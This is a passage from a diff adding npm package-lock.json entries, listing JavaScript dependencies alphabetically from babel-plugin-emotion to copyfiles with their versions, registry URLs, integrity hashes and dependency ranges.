"node_modules/babel-plugin-emotion": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/babel-plugin-emotion/-/babel-plugin-emotion-10.2.2.tgz", + "integrity": "sha512-SMSkGoqTbTyUTDeuVuPIWifPdUGkTk1Kf9BWRiXIOIcuyMfsdp2EjeiiFvOzX8NOBvEh/ypKYvUh2rkgAJMCLA==", + "dependencies": { + "@babel/helper-module-imports": "^7.0.0", + "@emotion/hash": "0.8.0", + "@emotion/memoize": "0.7.4", + "@emotion/serialize": "^0.11.16", + "babel-plugin-macros": "^2.0.0", + "babel-plugin-syntax-jsx": "^6.18.0", + "convert-source-map": "^1.5.0", + "escape-string-regexp": "^1.0.5", + "find-root": "^1.1.0", + "source-map": "^0.5.7" + } + }, + "node_modules/babel-plugin-macros": { + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/babel-plugin-macros/-/babel-plugin-macros-2.8.0.tgz", + "integrity": "sha512-SEP5kJpfGYqYKpBrj5XU3ahw5p5GOHJ0U5ssOSQ/WBVdwkD2Dzlce95exQTs3jOVWPPKLBN2rlEWkCK7dSmLvg==", + "dependencies": { + "@babel/runtime": "^7.7.2", + "cosmiconfig": "^6.0.0", + "resolve": "^1.12.0" + } + }, + "node_modules/babel-plugin-polyfill-corejs2": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.2.2.tgz", + "integrity": "sha512-kISrENsJ0z5dNPq5eRvcctITNHYXWOA4DUZRFYCz3jYCcvTb/A546LIddmoGNMVYg2U38OyFeNosQwI9ENTqIQ==", + "dev": true, + "dependencies": { + "@babel/compat-data": "^7.13.11", + "@babel/helper-define-polyfill-provider": "^0.2.2", + "semver": "^6.1.1" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/babel-plugin-polyfill-corejs2/node_modules/semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true, + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/babel-plugin-polyfill-corejs3": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.2.5.tgz", + "integrity": "sha512-ninF5MQNwAX9Z7c9ED+H2pGt1mXdP4TqzlHKyPIYmJIYz0N+++uwdM7RnJukklhzJ54Q84vA4ZJkgs7lu5vqcw==", + "dev": true, + "dependencies": { + "@babel/helper-define-polyfill-provider": "^0.2.2", + "core-js-compat": "^3.16.2" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/babel-plugin-polyfill-regenerator": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.2.2.tgz", + "integrity": "sha512-Goy5ghsc21HgPDFtzRkSirpZVW35meGoTmTOb2bxqdl60ghub4xOidgNTHaZfQ2FaxQsKmwvXtOAkcIS4SMBWg==", + "dev": true, + "dependencies": { + "@babel/helper-define-polyfill-provider": "^0.2.2" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/babel-plugin-syntax-jsx": { + "version": "6.18.0", + "resolved": "https://registry.npmjs.org/babel-plugin-syntax-jsx/-/babel-plugin-syntax-jsx-6.18.0.tgz", + "integrity": "sha1-CvMqmm4Tyno/1QaeYtew9Y0NiUY=" + }, + "node_modules/babel-runtime": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.26.0.tgz", + "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", + "dependencies": { + "core-js": "^2.4.0", + "regenerator-runtime": "^0.11.0" + } + }, + "node_modules/babel-runtime/node_modules/core-js": { + "version": "2.6.11", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.6.11.tgz", + "integrity": "sha512-5wjnpaT/3dV+XB4borEsnAYQchn00XSgTAWKDkEqv+K8KevjbzmofK6hfJ9TZIlpj2N0xQpazy7PiRQiWHqzWg==", + "deprecated": "core-js@<3.4 is no longer maintained and not recommended for usage due to the number of issues. Because of the V8 engine whims, feature detection in old core-js versions could cause a slowdown up to 100x even if nothing is polyfilled. Please, upgrade your dependencies to the actual version of core-js.", + "hasInstallScript": true + }, + "node_modules/babel-runtime/node_modules/regenerator-runtime": { + "version": "0.11.1", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.11.1.tgz", + "integrity": "sha512-MguG95oij0fC3QV3URf4V2SDYGJhJnJGqvIIgdECeODCT98wSWDAJ94SSuVpYQUoTcGUIL6L4yNB7j1DFFHSBg==" + }, + "node_modules/bail": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/bail/-/bail-1.0.5.tgz", + "integrity": "sha512-xFbRxM1tahm08yHBP16MMjVUAvDaBMD38zsM9EMAUN61omwLmKlOpB/Zku5QkjZ8TZ4vn53pj+t518cH0S03RQ==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/balanced-match": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.0.tgz", + "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c=", + "dev": true + }, + "node_modules/base16": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/base16/-/base16-1.0.0.tgz", + "integrity": "sha1-4pf2DX7BAUp6lxo568ipjAtoHnA=" + }, + "node_modules/base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/batch": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/batch/-/batch-0.6.1.tgz", + "integrity": "sha1-3DQxT05nkxgJP8dgJyUl+UvyXBY=", + "dev": true + }, + "node_modules/big.js": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz", + "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==", + "engines": { + "node": "*" + } + }, + "node_modules/binary-extensions": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", + "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/biskviit": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/biskviit/-/biskviit-1.0.1.tgz", + "integrity": "sha1-A3oM1LcbnjMf2QoRIt4X3EnkIKc=", + "dependencies": { + "psl": "^1.1.7" + }, + "engines": { + "node": ">=1.0.0" + } + }, + "node_modules/body-parser": { + "version": "1.19.0", + "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.19.0.tgz", + "integrity": "sha512-dhEPs72UPbDnAQJ9ZKMNTP6ptJaionhP5cBb541nXPlW60Jepo9RV/a4fX4XWW9CuFNK22krhrj1+rgzifNCsw==", + "dev": true, + "dependencies": { + "bytes": "3.1.0", + "content-type": "~1.0.4", + "debug": "2.6.9", + "depd": "~1.1.2", + "http-errors": "1.7.2", + "iconv-lite": "0.4.24", + "on-finished": "~2.3.0", + "qs": "6.7.0", + "raw-body": "2.4.0", + "type-is": "~1.6.17" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/body-parser/node_modules/bytes": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.0.tgz", + "integrity": "sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/body-parser/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/body-parser/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", + "dev": true + }, + "node_modules/bonjour": { + "version": "3.5.0", + "resolved": "https://registry.npmjs.org/bonjour/-/bonjour-3.5.0.tgz", + "integrity": "sha1-jokKGD2O6aI5OzhExpGkK897yfU=", + "dev": true, + "dependencies": { + "array-flatten": "^2.1.0", + "deep-equal": "^1.0.1", + "dns-equal": "^1.0.0", + "dns-txt": "^2.0.2", + "multicast-dns": "^6.0.1", + "multicast-dns-service-types": "^1.1.0" + } + }, + "node_modules/boolbase": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz", + "integrity": "sha1-aN/1++YMUes3cl6p4+0xDcwed24=", + "dev": true + }, + "node_modules/bootstrap": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-4.6.0.tgz", + "integrity": "sha512-Io55IuQY3kydzHtbGvQya3H+KorS/M9rSNyfCGCg9WZ4pyT/lCxIlpJgG1GXW/PswzC84Tr2fBYi+7+jFVQQBw==", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/bootstrap" + }, + "peerDependencies": { + "jquery": "1.9.1 - 3", + "popper.js": "^1.16.1" + } + }, + "node_modules/brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "dev": true, + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "dependencies": { + "fill-range": "^7.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/browserslist": { + "version": "4.17.3", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.17.3.tgz", + "integrity": "sha512-59IqHJV5VGdcJZ+GZ2hU5n4Kv3YiASzW6Xk5g9tf5a/MAzGeFwgGWU39fVzNIOVcgB3+Gp+kiQu0HEfTVU/3VQ==", + "dependencies": { + "caniuse-lite": "^1.0.30001264", + "electron-to-chromium": "^1.3.857", + "escalade": "^3.1.1", + "node-releases": "^1.1.77", + "picocolors": "^0.2.1" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + } + }, + "node_modules/buffer": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz", + "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.2.1" + } + }, + "node_modules/buffer-from": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", + "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==" + }, + "node_modules/buffer-indexof": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/buffer-indexof/-/buffer-indexof-1.1.1.tgz", + "integrity": "sha512-4/rOEg86jivtPTeOUUT61jJO1Ya1TrR/OkqCSZDyq84WJh3LuuiphBYJN+fm5xufIk4XAFcEwte/8WzC8If/1g==", + "dev": true + }, + "node_modules/bytes": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.0.0.tgz", + "integrity": "sha1-0ygVQE1olpn4Wk6k+odV3ROpYEg=", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/call-bind": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz", + "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==", + "dev": true, + "dependencies": { + "function-bind": "^1.1.1", + "get-intrinsic": "^1.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/callsites": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", + "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", + "engines": { + "node": ">=6" + } + }, + "node_modules/camel-case": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/camel-case/-/camel-case-3.0.0.tgz", + "integrity": "sha1-yjw2iKTpzzpM2nd9xNy8cTJJz3M=", + "dev": true, + "dependencies": { + "no-case": "^2.2.0", + "upper-case": "^1.1.1" + } + }, + "node_modules/camelcase": { + "version": "5.3.1", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/camelcase-keys": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/camelcase-keys/-/camelcase-keys-6.2.2.tgz", + "integrity": "sha512-YrwaA0vEKazPBkn0ipTiMpSajYDSe+KjQfrjhcBMxJt/znbvlHd8Pw/Vamaz5EB4Wfhs3SUR3Z9mwRu/P3s3Yg==", + "dev": true, + "dependencies": { + "camelcase": "^5.3.1", + "map-obj": "^4.0.0", + "quick-lru": "^4.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/caniuse-lite": { + "version": "1.0.30001265", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001265.tgz", + "integrity": "sha512-YzBnspggWV5hep1m9Z6sZVLOt7vrju8xWooFAgN6BA5qvy98qPAPb7vNUzypFaoh2pb3vlfzbDO8tB57UPGbtw==", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + } + }, + "node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/character-entities": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/character-entities/-/character-entities-1.2.4.tgz", + "integrity": "sha512-iBMyeEHxfVnIakwOuDXpVkc54HijNgCyQB2w0VfGQThle6NXn50zU6V/u+LDhxHcDUPojn6Kpga3PTAD8W1bQw==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/character-entities-legacy": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/character-entities-legacy/-/character-entities-legacy-1.1.4.tgz", + "integrity": "sha512-3Xnr+7ZFS1uxeiUDvV02wQ+QDbc55o97tIV5zHScSPJpcLm/r0DFPcoY3tYRp+VZukxuMeKgXYmsXQHO05zQeA==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/character-reference-invalid": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/character-reference-invalid/-/character-reference-invalid-1.1.4.tgz", + "integrity": "sha512-mKKUkUbhPpQlCOfIuZkvSEgktjPFIsZKRRbC6KWVEMvlzblj3i3asQv5ODsrwt0N3pHAEvjP8KTQPHkp0+6jOg==", + "dev": true, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/chardet": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/chardet/-/chardet-0.7.0.tgz", + "integrity": "sha512-mT8iDcrh03qDGRRmoA2hmBJnxpllMR+0/0qlzjqZES6NdiWDcZkCNAk4rPFZ9Q85r27unkiNNg8ZOiwZXBHwcA==", + "dev": true + }, + "node_modules/chokidar": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.2.tgz", + "integrity": "sha512-ekGhOnNVPgT77r4K/U3GDhu+FQ2S8TnK/s2KbIGXi0SZWuwkZ2QNyfWdZW+TVfn84DpEP7rLeCt2UI6bJ8GwbQ==", + "dev": true, + "dependencies": { + "anymatch": "~3.1.2", + "braces": "~3.0.2", + "glob-parent": "~5.1.2", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.6.0" + }, + "engines": { + "node": ">= 8.10.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/chrome-trace-event": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.3.tgz", + "integrity": "sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg==", + "engines": { + "node": ">=6.0" + } + }, + "node_modules/classnames": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/classnames/-/classnames-2.3.1.tgz", + "integrity": "sha512-OlQdbZ7gLfGarSqxesMesDa5uz7KFbID8Kpq/SxIoNGDqY8lSYs0D+hhtBXhcdB3rcbXArFr7vlHheLk1voeNA==" + }, + "node_modules/clean-css": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/clean-css/-/clean-css-4.2.3.tgz", + "integrity": "sha512-VcMWDN54ZN/DS+g58HYL5/n4Zrqe8vHJpGA8KdgUXFU4fuP/aHNw8eld9SyEIyabIMJX/0RaY/fplOo5hYLSFA==", + "dev": true, + "dependencies": { + "source-map": "~0.6.0" + }, + "engines": { + "node": ">= 4.0" + } + }, + "node_modules/clean-css/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/clean-stack": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz", + "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/cli-cursor": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-3.1.0.tgz", + "integrity": "sha512-I/zHAwsKf9FqGoXM4WWRACob9+SNukZTd94DWF57E4toouRulbCxcUh6RKUEOQlYTHJnzkPMySvPNaaSLNfLZw==", + "dev": true, + "dependencies": { + "restore-cursor": "^3.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/cli-width": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-2.2.1.tgz", + "integrity": "sha512-GRMWDxpOB6Dgk2E5Uo+3eEBvtOOlimMmpbFiKuLFnQzYDavtLFY3K5ona41jgN/WdRZtG7utuVSVTL4HbZHGkw==", + "dev": true + }, + "node_modules/clone-deep": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-4.0.1.tgz", + "integrity": "sha512-neHB9xuzh/wk0dIHweyAXv2aPGZIVk3pLMe+/RNzINf17fe0OG96QroktYAUm7SM1PBnzTabaLboqqxDyMU+SQ==", + "dev": true, + "dependencies": { + "is-plain-object": "^2.0.4", + "kind-of": "^6.0.2", + "shallow-clone": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/clone-regexp": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/clone-regexp/-/clone-regexp-2.2.0.tgz", + "integrity": "sha512-beMpP7BOtTipFuW8hrJvREQ2DrRu3BE7by0ZpibtfBA+qfHYvMGTc2Yb1JMYPKg/JUw0CHYvpg796aNTSW9z7Q==", + "dev": true, + "dependencies": { + "is-regexp": "^2.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/clsx": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/clsx/-/clsx-1.1.1.tgz", + "integrity": "sha512-6/bPho624p3S2pMyvP5kKBPXnI3ufHLObBFCfgx+LkeR5lg2XYy2hqZqUf45ypD8COn2bhgGJSUE+l5dhNBieA==", + "engines": { + "node": ">=6" + } + }, + "node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=" + }, + "node_modules/colorette": { + "version": "2.0.16", + "resolved": "https://registry.npmjs.org/colorette/-/colorette-2.0.16.tgz", + "integrity": "sha512-hUewv7oMjCp+wkBv5Rm0v87eJhq4woh5rSR+42YSQJKecCqgIqNkZ6lAlQms/BwHPJA5NKMRlpxPRv0n8HQW6g==", + "dev": true + }, + "node_modules/commander": { + "version": "2.20.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==" + }, + "node_modules/commondir": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz", + "integrity": "sha1-3dgA2gxmEnOTzKWVDqloo6rxJTs=", + "dev": true + }, + "node_modules/compressible": { + "version": "2.0.18", + "resolved": "https://registry.npmjs.org/compressible/-/compressible-2.0.18.tgz", + "integrity": "sha512-AF3r7P5dWxL8MxyITRMlORQNaOA2IkAFaTr4k7BUumjPtRpGDTZpl0Pb1XCO6JeDCBdp126Cgs9sMxqSjgYyRg==", + "dev": true, + "dependencies": { + "mime-db": ">= 1.43.0 < 2" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/compression": { + "version": "1.7.4", + "resolved": "https://registry.npmjs.org/compression/-/compression-1.7.4.tgz", + "integrity": "sha512-jaSIDzP9pZVS4ZfQ+TzvtiWhdpFhE2RDHz8QJkpX9SIpLq88VueF5jJw6t+6CUQcAoA6t+x89MLrWAqpfDE8iQ==", + "dev": true, + "dependencies": { + "accepts": "~1.3.5", + "bytes": "3.0.0", + "compressible": "~2.0.16", + "debug": "2.6.9", + "on-headers": "~1.0.2", + "safe-buffer": "5.1.2", + "vary": "~1.1.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/compression/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/compression/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", + "dev": true + }, + "node_modules/concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=", + "dev": true + }, + "node_modules/connect-history-api-fallback": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/connect-history-api-fallback/-/connect-history-api-fallback-1.6.0.tgz", + "integrity": "sha512-e54B99q/OUoH64zYYRf3HBP5z24G38h5D3qXu23JGRoigpX5Ss4r9ZnDk3g0Z8uQC2x2lPaJ+UlWBc1ZWBWdLg==", + "dev": true, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/content-disposition": { + "version": "0.5.3", + "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.3.tgz", + "integrity": "sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==", + "dev": true, + "dependencies": { + "safe-buffer": "5.1.2" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/content-type": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.4.tgz", + "integrity": "sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/convert-source-map": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.7.0.tgz", + "integrity": "sha512-4FJkXzKXEDB1snCFZlLP4gpC3JILicCpGbzG9f9G7tGqGCzETQ2hWPrcinA9oU4wtf2biUaEH5065UnMeR33oA==", + "dependencies": { + "safe-buffer": "~5.1.1" + } + }, + "node_modules/cookie": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.0.tgz", + "integrity": "sha512-+Hp8fLp57wnUSt0tY0tHEXh4voZRDnoIrZPqlo3DPiI4y9lwg/jqx+1Om94/W6ZaPDOUbnjOt/99w66zk+l1Xg==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/cookie-signature": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", + "integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw=", + "dev": true + }, + "node_modules/copy-to-clipboard": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/copy-to-clipboard/-/copy-to-clipboard-3.3.1.tgz", + "integrity": "sha512-i13qo6kIHTTpCm8/Wup+0b1mVWETvu2kIMzKoK8FpkLkFxlt0znUAHcMzox+T8sPlqtZXq3CulEjQHsYiGFJUw==", + "dependencies": { + "toggle-selection": "^1.0.6" + } + }, + "node_modules/copyfiles": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/copyfiles/-/copyfiles-2.4.1.tgz", + "integrity": "sha512-fereAvAvxDrQDOXybk3Qu3dPbOoKoysFMWtkY3mv5BsL8//OSZVL5DCLYqgRfY5cWirgRzlC+WSrxp6Bo3eNZg==", + "dev": true, + "dependencies": { + "glob": "^7.0.5", + "minimatch": "^3.0.3", + "mkdirp": "^1.0.4", + "noms": "0.0.0", + "through2": "^2.0.1", + "untildify": "^4.0.0", + "yargs": "^16.1.0" + }, + "bin": { + "copyfiles": "copyfiles", + "copyup": "copyfiles" + } + }, + "node_modules/copyfiles/node_modules/ansi-regex": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz", + "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/copyfiles/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": 